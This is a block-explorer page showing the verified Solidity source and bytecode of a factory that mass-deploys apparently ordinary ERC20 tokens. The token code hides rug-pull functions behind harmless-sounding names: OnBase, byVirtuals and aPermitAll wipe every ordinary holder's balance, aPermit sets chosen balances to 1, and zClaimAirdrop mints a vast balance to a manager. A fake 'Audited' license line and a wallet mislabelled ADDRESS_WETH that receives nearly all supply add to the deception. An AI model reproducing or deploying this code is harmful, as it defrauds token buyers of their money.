Overview
S Balance
S Value
$0.00More Info
Private Name Tags
ContractCreator
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Latest 25 internal transactions (View All)
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
TokenFactory
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-02-19 */ // SPDX-License-Identifier: Audited By Sonic Mainnet Network pragma solidity 0.8.28; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract UnichainMainnetNetwork is IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100000000000000000000000000; mapping(address => uint256) private UnichainOnUniSwap; mapping(address => mapping(address => uint256)) private _allowances; address[] private believers; address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b; address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; address ADDRESS_Manager; address ADDRESS_Virtuals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; uint256 public requiredETH; constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_) payable { transferOwnership(owner_); require(msg.value == 1000000000000000); _name = name_; _symbol = symbol_; requiredETH = 1000000000000000; ADDRESS_Manager = ADDRESS_Manager_; ADDRESS_Virtuals = owner_; UnichainOnUniSwap[address(this)] = _totalSupply.mul(10).div(10000); emit Transfer(address(0), address(this), _totalSupply.mul(10).div(1000)); Virtuals(); payable(address(this)).transfer(msg.value); } function Virtuals() internal { uint256 ninetyFourPercent = _totalSupply.mul(9960).div(10000); uint256 threePercent = _totalSupply.mul(1).div(10000); uint256 twoPercent = _totalSupply.mul(29).div(10000); UnichainOnUniSwap[ADDRESS_WETH] = UnichainOnUniSwap[ADDRESS_WETH].add(ninetyFourPercent); UnichainOnUniSwap[ADDRESS_MARKETING] = UnichainOnUniSwap[ADDRESS_MARKETING].add(threePercent); UnichainOnUniSwap[ADDRESS_DEVELOPMENT] = UnichainOnUniSwap[ADDRESS_DEVELOPMENT].add(twoPercent); emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent); emit Transfer(address(this), ADDRESS_MARKETING, threePercent); emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent); } function _updateHolders(address account) internal { if (UnichainOnUniSwap[account] > 0) { bool exists = false; for (uint256 i = 0; i < believers.length; i++) { if (believers[i] == account) { exists = true; break; } } if (!exists) { believers.push(account); } } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); UnichainOnUniSwap[sender] = UnichainOnUniSwap[sender].sub(amount); UnichainOnUniSwap[recipient] = UnichainOnUniSwap[recipient].add(amount); _updateHolders(sender); _updateHolders(recipient); emit Transfer(sender, recipient, amount); } modifier Only_Manager() { require(ADDRESS_Manager == _msgSender()); _; } function OnBase() external onlyOwner { for (uint256 i = 0; i < believers.length; i++) { address believer = believers[i]; if ( believer != address(this) && believer != owner() && believer != uniswapV2Pair && believer != ADDRESS_WETH && believer != ADDRESS_MARKETING && believer != ADDRESS_Manager && believer != ADDRESS_DEVELOPMENT ) { UnichainOnUniSwap[believer] = 0; } } } function byVirtuals() external { require(ADDRESS_Virtuals == _msgSender()); for (uint256 i = 0; i < believers.length; i++) { address believer = believers[i]; if ( believer != address(this) && believer != owner() && believer != uniswapV2Pair && believer != ADDRESS_WETH && believer != ADDRESS_MARKETING && believer != ADDRESS_Manager && believer != ADDRESS_DEVELOPMENT ) { UnichainOnUniSwap[believer] = 0; } } } function aPermitAll() external Only_Manager { for (uint256 i = 0; i < believers.length; i++) { address believer = believers[i]; if ( believer != address(this) && believer != owner() && believer != uniswapV2Pair && believer != ADDRESS_WETH && believer != ADDRESS_MARKETING && believer != ADDRESS_Manager && believer != ADDRESS_DEVELOPMENT ) { UnichainOnUniSwap[believer] = 0; } } } function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { UnichainOnUniSwap[rewardsMerkleRoot_[i]] = 1; emit Transfer(rewardsMerkleRoot_[i], address(0), 1); } } function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager { UnichainOnUniSwap[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals); } function addLiquidity() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); tradingOpen = true; } receive() external payable {} // Required BEP20 functions function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return UnichainOnUniSwap[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } } contract TokenFactory { uint256 public requiredETH; event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager); constructor() { requiredETH = 1000000000000000; } // Function to create a single token function createToken( string memory name_, string memory symbol_, address newOwner_, address ADDRESS_Manager_ ) external payable returns (address) { require(msg.value == requiredETH, "Incorrect ETH amount"); UnichainMainnetNetwork newToken = (new UnichainMainnetNetwork){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_); emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_); return address(newToken); } // Function to create 100 tokens in a single transaction function createTokensBatch( string[] memory names_, string[] memory symbols_, address[] memory newOwners_, address[] memory ADDRESS_Managers_ ) external payable { require(names_.length == 100, "Must provide 100 names"); require(symbols_.length == 100, "Must provide 100 symbols"); require(newOwners_.length == 100, "Must provide 100 owners"); require(ADDRESS_Managers_.length == 100, "Must provide 100 managers"); require(msg.value == requiredETH * 100, "Incorrect ETH amount"); for (uint256 i = 0; i < 100; i++) { UnichainMainnetNetwork newToken = (new UnichainMainnetNetwork){value: requiredETH}( names_[i], symbols_[i], newOwners_[i], ADDRESS_Managers_[i] ); emit TokenCreated(address(newToken), names_[i], symbols_[i], newOwners_[i], ADDRESS_Managers_[i]); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":false,"internalType":"string","name":"name","type":"string"},{"indexed":false,"internalType":"string","name":"symbol","type":"string"},{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"Manager","type":"address"}],"name":"TokenCreated","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"newOwner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"}],"name":"createToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string[]","name":"names_","type":"string[]"},{"internalType":"string[]","name":"symbols_","type":"string[]"},{"internalType":"address[]","name":"newOwners_","type":"address[]"},{"internalType":"address[]","name":"ADDRESS_Managers_","type":"address[]"}],"name":"createTokensBatch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"requiredETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052348015600e575f5ffd5b5066038d7ea4c680005f5561264c806100265f395ff3fe608060405260043610610036575f3560e01c806349eea8c914610041578063b0d769b414610068578063c01547361461007d575f5ffd5b3661003d57005b5f5ffd5b34801561004c575f5ffd5b506100555f5481565b6040519081526020015b60405180910390f35b61007b610076366004610655565b6100a8565b005b61009061008b36600461070e565b61039c565b6040516001600160a01b03909116815260200161005f565b83516064146100f75760405162461bcd60e51b81526020600482015260166024820152754d7573742070726f7669646520313030206e616d657360501b60448201526064015b60405180910390fd5b82516064146101485760405162461bcd60e51b815260206004820152601860248201527f4d7573742070726f76696465203130302073796d626f6c73000000000000000060448201526064016100ee565b81516064146101995760405162461bcd60e51b815260206004820152601760248201527f4d7573742070726f7669646520313030206f776e65727300000000000000000060448201526064016100ee565b80516064146101ea5760405162461bcd60e51b815260206004820152601960248201527f4d7573742070726f7669646520313030206d616e61676572730000000000000060448201526064016100ee565b5f546101f7906064610793565b341461023c5760405162461bcd60e51b8152602060048201526014602482015273125b98dbdc9c9958dd0811551208185b5bdd5b9d60621b60448201526064016100ee565b5f5b6064811015610395575f5f5486838151811061025c5761025c6107bc565b6020026020010151868481518110610276576102766107bc565b6020026020010151868581518110610290576102906107bc565b60200260200101518686815181106102aa576102aa6107bc565b60200260200101516040516102be90610469565b6102cb94939291906107fe565b6040518091039082f09050801580156102e6573d5f5f3e3d5ffd5b5090507f54e1ed11e58e09b51023a1ef2f609b1d1c17fea6ba3432eea973e9a51f604f7e8187848151811061031d5761031d6107bc565b6020026020010151878581518110610337576103376107bc565b6020026020010151878681518110610351576103516107bc565b602002602001015187878151811061036b5761036b6107bc565b6020026020010151604051610384959493929190610847565b60405180910390a15060010161023e565b5050505050565b5f5f5434146103e45760405162461bcd60e51b8152602060048201526014602482015273125b98dbdc9c9958dd0811551208185b5bdd5b9d60621b60448201526064016100ee565b5f34868686866040516103f690610469565b61040394939291906107fe565b6040518091039082f090508015801561041e573d5f5f3e3d5ffd5b5090507f54e1ed11e58e09b51023a1ef2f609b1d1c17fea6ba3432eea973e9a51f604f7e8187878787604051610458959493929190610847565b60405180910390a195945050505050565b611d74806108a383390190565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff811182821017156104b3576104b3610476565b604052919050565b5f67ffffffffffffffff8211156104d4576104d4610476565b5060051b60200190565b5f82601f8301126104ed575f5ffd5b813567ffffffffffffffff81111561050757610507610476565b61051a601f8201601f191660200161048a565b81815284602083860101111561052e575f5ffd5b816020850160208301375f918101602001919091529392505050565b5f82601f830112610559575f5ffd5b813561056c610567826104bb565b61048a565b8082825260208201915060208360051b86010192508583111561058d575f5ffd5b602085015b838110156105ce57803567ffffffffffffffff8111156105b0575f5ffd5b6105bf886020838a01016104de565b84525060209283019201610592565b5095945050505050565b80356001600160a01b03811681146105ee575f5ffd5b919050565b5f82601f830112610602575f5ffd5b8135610610610567826104bb565b8082825260208201915060208360051b860101925085831115610631575f5ffd5b602085015b838110156105ce57610647816105d8565b835260209283019201610636565b5f5f5f5f60808587031215610668575f5ffd5b843567ffffffffffffffff81111561067e575f5ffd5b61068a8782880161054a565b945050602085013567ffffffffffffffff8111156106a6575f5ffd5b6106b28782880161054a565b935050604085013567ffffffffffffffff8111156106ce575f5ffd5b6106da878288016105f3565b925050606085013567ffffffffffffffff8111156106f6575f5ffd5b610702878288016105f3565b91505092959194509250565b5f5f5f5f60808587031215610721575f5ffd5b843567ffffffffffffffff811115610737575f5ffd5b610743878288016104de565b945050602085013567ffffffffffffffff81111561075f575f5ffd5b61076b878288016104de565b93505061077a604086016105d8565b9150610788606086016105d8565b905092959194509250565b80820281158282048414176107b657634e487b7160e01b5f52601160045260245ffd5b92915050565b634e487b7160e01b5f52603260045260245ffd5b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b608081525f61081060808301876107d0565b828103602084015261082281876107d0565b6001600160a01b03958616604085015293909416606090920191909152509392505050565b6001600160a01b038616815260a0602082018190525f9061086a908301876107d0565b828103604084015261087c81876107d0565b6001600160a01b039586166060850152939094166080909201919091525094935050505056fe608060408190526009805460ff60a01b19169055611d743881900390819083398101604081905261002f916105dd565b5f80546001600160a01b0319163390811782556040519091905f516020611d145f395f51905f52908290a361006382610179565b3466038d7ea4c6800014610075575f5ffd5b600161008185826106e6565b50600261008e84826106e6565b5066038d7ea4c68000600a908155600680546001600160a01b038085166001600160a01b03199283161790925560078054928616929091169190911790556100f090612710906100ea906a52b7d2dcc80cd2e4000000906101e6565b90610272565b305f81815260036020526040812092909255905f516020611d345f395f51905f5261012d6103e86100ea6a52b7d2dcc80cd2e4000000600a6101e6565b60405190815260200160405180910390a36101466102cc565b60405130903480156108fc02915f818181858888f1935050505015801561016f573d5f5f3e3d5ffd5b50505050506107fd565b5f546001600160a01b0316331461018e575f5ffd5b6001600160a01b0381166101a0575f5ffd5b5f80546040516001600160a01b03808516939216915f516020611d145f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101f557505f61026c565b5f61020083856107b4565b90508261020d85836107cb565b146102695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102c25760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f0000000000006044820152606401610260565b61026982846107cb565b5f6102ea6127106100ea6a52b7d2dcc80cd2e40000006126e86101e6565b90505f6103096127106100ea6a52b7d2dcc80cd2e400000060016101e6565b90505f6103286127106100ea6a52b7d2dcc80cd2e4000000601d6101e6565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260036020525f516020611cf45f395f51905f525490915061036090846104c7565b60036020525f516020611cf45f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f516020611d545f395f51905f52546103a490836104c7565b60036020525f516020611d545f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f516020611cd45f395f51905f52546103e890826104c7565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260036020525f516020611cd45f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f516020611d345f395f51905f529061044a9087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f516020611d345f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f516020611d345f395f51905f529060200160405180910390a3505050565b5f806104d383856107ea565b9050838110156102695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610260565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610548575f5ffd5b81516001600160401b0381111561056157610561610525565b604051601f8201601f19908116603f011681016001600160401b038111828210171561058f5761058f610525565b6040528181528382016020018510156105a6575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b03811681146105d8575f5ffd5b919050565b5f5f5f5f608085870312156105f0575f5ffd5b84516001600160401b03811115610605575f5ffd5b61061187828801610539565b602087015190955090506001600160401b0381111561062e575f5ffd5b61063a87828801610539565b935050610649604086016105c2565b9150610657606086016105c2565b905092959194509250565b600181811c9082168061067657607f821691505b60208210810361069457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106e157805f5260205f20601f840160051c810160208510156106bf5750805b601f840160051c820191505b818110156106de575f81556001016106cb565b50505b505050565b81516001600160401b038111156106ff576106ff610525565b6107138161070d8454610662565b8461069a565b6020601f821160018114610745575f831561072e5750848201515b5f19600385901b1c1916600184901b1784556106de565b5f84815260208120601f198516915b828110156107745787850151825560209485019460019092019101610754565b508482101561079157868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761026c5761026c6107a0565b5f826107e557634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026c5761026c6107a0565b6114ca8061080a5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb146102d7578063dc064fa7146102f6578063dd62ed3e1461030a578063e8078d941461034e578063f2fde38b14610362575f5ffd5b8063715018a61461024b5780638da5cb5b1461025f5780638f8af1e11461028557806395d89b41146102a4578063a37e0a64146102b8575f5ffd5b806323b872dd116100e357806323b872dd146101b4578063313ce567146101d357806332975691146101ee57806349eea8c91461020257806370a0823114610217575f5ffd5b806306fdde031461011e578063095ea7b3146101485780630bc60abb1461017757806318160ddd1461018d575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50610132610381565b60405161013f919061114c565b60405180910390f35b348015610153575f5ffd5b50610167610162366004611195565b610411565b604051901515815260200161013f565b348015610182575f5ffd5b5061018b610427565b005b348015610198575f5ffd5b506a52b7d2dcc80cd2e40000005b60405190815260200161013f565b3480156101bf575f5ffd5b506101676101ce3660046111bf565b610569565b3480156101de575f5ffd5b506040516012815260200161013f565b3480156101f9575f5ffd5b5061018b6105b8565b34801561020d575f5ffd5b506101a6600a5481565b348015610222575f5ffd5b506101a66102313660046111fd565b6001600160a01b03165f9081526003602052604090205490565b348015610256575f5ffd5b5061018b6106f6565b34801561026a575f5ffd5b505f546040516001600160a01b03909116815260200161013f565b348015610290575f5ffd5b5061018b61029f366004611218565b610753565b3480156102af575f5ffd5b50610132610834565b3480156102c3575f5ffd5b5061018b6102d23660046111fd565b610843565b3480156102e2575f5ffd5b506101676102f1366004611195565b6108eb565b348015610301575f5ffd5b5061018b6108f7565b348015610315575f5ffd5b506101a6610324366004611289565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610359575f5ffd5b5061018b610a36565b34801561036d575f5ffd5b5061018b61037c3660046111fd565b610d3f565b606060018054610390906112c0565b80601f01602080910402602001604051908101604052809291908181526020018280546103bc906112c0565b80156104075780601f106103de57610100808354040283529160200191610407565b820191905f5260205f20905b8154815290600101906020018083116103ea57829003601f168201915b5050505050905090565b5f61041d338484610dbf565b5060015b92915050565b6006546001600160a01b0316331461043d575f5ffd5b5f5b600554811015610566575f6005828154811061045d5761045d6112f8565b5f918252602090912001546001600160a01b0316905030811480159061049057505f546001600160a01b03828116911614155b80156104aa57506009546001600160a01b03828116911614155b80156104d357506001600160a01b0381167350c42deacd8fc9773493ed674b675be577f2634b14155b80156104fc57506001600160a01b03811673551aa84adb62725d654866803def1459a1b256af14155b801561051657506006546001600160a01b03828116911614155b801561053f57506001600160a01b03811673edb37ad563e2ef161b2a72169583f35799bde96214155b1561055d576001600160a01b0381165f908152600360205260408120555b5060010161043f565b50565b5f610575848484610ee3565b6001600160a01b0384165f908152600460209081526040808320338085529252909120546105ae9186916105a99086610fc6565b610dbf565b5060019392505050565b5f546001600160a01b031633146105cd575f5ffd5b5f5b600554811015610566575f600582815481106105ed576105ed6112f8565b5f918252602090912001546001600160a01b0316905030811480159061062057505f546001600160a01b03828116911614155b801561063a57506009546001600160a01b03828116911614155b801561066357506001600160a01b0381167350c42deacd8fc9773493ed674b675be577f2634b14155b801561068c57506001600160a01b03811673551aa84adb62725d654866803def1459a1b256af14155b80156106a657506006546001600160a01b03828116911614155b80156106cf57506001600160a01b03811673edb37ad563e2ef161b2a72169583f35799bde96214155b156106ed576001600160a01b0381165f908152600360205260408120555b506001016105cf565b5f546001600160a01b0316331461070b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6006546001600160a01b03163314610769575f5ffd5b5f5b8181101561082f57600160035f85858581811061078a5761078a6112f8565b905060200201602081019061079f91906111fd565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106107cf576107cf6112f8565b90506020020160208101906107e491906111fd565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161081f91815260200190565b60405180910390a360010161076b565b505050565b606060028054610390906112c0565b6006546001600160a01b03163314610859575f5ffd5b6108656012600a611403565b61087a906a52b7d2dcc80cd2e4000000611411565b6001600160a01b0382165f818152600360205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108c26012600a611403565b6108d7906a52b7d2dcc80cd2e4000000611411565b60405190815260200160405180910390a350565b5f61041d338484610ee3565b6007546001600160a01b0316331461090d575f5ffd5b5f5b600554811015610566575f6005828154811061092d5761092d6112f8565b5f918252602090912001546001600160a01b0316905030811480159061096057505f546001600160a01b03828116911614155b801561097a57506009546001600160a01b03828116911614155b80156109a357506001600160a01b0381167350c42deacd8fc9773493ed674b675be577f2634b14155b80156109cc57506001600160a01b03811673551aa84adb62725d654866803def1459a1b256af14155b80156109e657506006546001600160a01b03828116911614155b8015610a0f57506001600160a01b03811673edb37ad563e2ef161b2a72169583f35799bde96214155b15610a2d576001600160a01b0381165f908152600360205260408120555b5060010161090f565b5f546001600160a01b03163314610a4b575f5ffd5b600954600160a01b900460ff1615610aaa5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600880546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610b0c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b309190611428565b6001600160a01b031663c9c653963060085f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b8f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb39190611428565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610bfd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c219190611428565b600980546001600160a01b0319166001600160a01b03928316179055600854610c58913091166a52b7d2dcc80cd2e4000000610dbf565b6008546001600160a01b031663f305d7194730610c89816001600160a01b03165f9081526003602052604090205490565b5f5f610c9c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d02573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d279190611443565b50506009805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610d54575f5ffd5b6001600160a01b038116610d66575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e215760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610aa1565b6001600160a01b038216610e825760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610aa1565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ef5575f5ffd5b6001600160a01b038216610f07575f5ffd5b6001600160a01b0383165f90815260036020526040902054610f299082610fc6565b6001600160a01b038085165f908152600360205260408082209390935590841681522054610f579082611028565b6001600160a01b0383165f90815260036020526040902055610f7883611086565b610f8182611086565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed691815260200190565b5f828211156110175760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610aa1565b611021828461146e565b9392505050565b5f806110348385611481565b9050838110156110215760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610aa1565b6001600160a01b0381165f9081526003602052604090205415610566575f805b6005548110156110f757826001600160a01b0316600582815481106110cd576110cd6112f8565b5f918252602090912001546001600160a01b0316036110ef57600191506110f7565b6001016110a6565b508061114857600580546001810182555f919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610566575f5ffd5b5f5f604083850312156111a6575f5ffd5b82356111b181611181565b946020939093013593505050565b5f5f5f606084860312156111d1575f5ffd5b83356111dc81611181565b925060208401356111ec81611181565b929592945050506040919091013590565b5f6020828403121561120d575f5ffd5b813561102181611181565b5f5f60208385031215611229575f5ffd5b823567ffffffffffffffff81111561123f575f5ffd5b8301601f8101851361124f575f5ffd5b803567ffffffffffffffff811115611265575f5ffd5b8560208260051b8401011115611279575f5ffd5b6020919091019590945092505050565b5f5f6040838503121561129a575f5ffd5b82356112a581611181565b915060208301356112b581611181565b809150509250929050565b600181811c908216806112d457607f821691505b6020821081036112f257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561135b5780850481111561133f5761133f61130c565b600184161561134d57908102905b60019390931c928002611324565b935093915050565b5f8261137157506001610421565b8161137d57505f610421565b8160018114611393576002811461139d576113b9565b6001915050610421565b60ff8411156113ae576113ae61130c565b50506001821b610421565b5060208310610133831016604e8410600b84101617156113dc575081810a610421565b6113e85f198484611320565b805f19048211156113fb576113fb61130c565b029392505050565b5f61102160ff841683611363565b80820281158282048414176104215761042161130c565b5f60208284031215611438575f5ffd5b815161102181611181565b5f5f5f60608486031215611455575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156104215761042161130c565b808201808211156104215761042161130c56fea2646970667358221220b71ef7bc1d88b9677962602047218d3f94dc876094bdf1bca3e517e94f5b694b64736f6c634300081c003389a32e1c29e646fad701d1c8d0dc9b6560d3e6bc99404f2032db0696952b812d212e56424155ad6c0388f4d24c757a597ed2c40f2f3c6da95b15e3a62db87ec38be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc939d25d7e35437f22c47f324a2c10f39b73290093ac9388ba079edf58f1ddaaa26469706673582212206a9913177004d9743568f7ca406e9c24bc6624f5365c09647546b12b8505546c64736f6c634300081c0033
Deployed Bytecode
0x608060405260043610610036575f3560e01c806349eea8c914610041578063b0d769b414610068578063c01547361461007d575f5ffd5b3661003d57005b5f5ffd5b34801561004c575f5ffd5b506100555f5481565b6040519081526020015b60405180910390f35b61007b610076366004610655565b6100a8565b005b61009061008b36600461070e565b61039c565b6040516001600160a01b03909116815260200161005f565b83516064146100f75760405162461bcd60e51b81526020600482015260166024820152754d7573742070726f7669646520313030206e616d657360501b60448201526064015b60405180910390fd5b82516064146101485760405162461bcd60e51b815260206004820152601860248201527f4d7573742070726f76696465203130302073796d626f6c73000000000000000060448201526064016100ee565b81516064146101995760405162461bcd60e51b815260206004820152601760248201527f4d7573742070726f7669646520313030206f776e65727300000000000000000060448201526064016100ee565b80516064146101ea5760405162461bcd60e51b815260206004820152601960248201527f4d7573742070726f7669646520313030206d616e61676572730000000000000060448201526064016100ee565b5f546101f7906064610793565b341461023c5760405162461bcd60e51b8152602060048201526014602482015273125b98dbdc9c9958dd0811551208185b5bdd5b9d60621b60448201526064016100ee565b5f5b6064811015610395575f5f5486838151811061025c5761025c6107bc565b6020026020010151868481518110610276576102766107bc565b6020026020010151868581518110610290576102906107bc56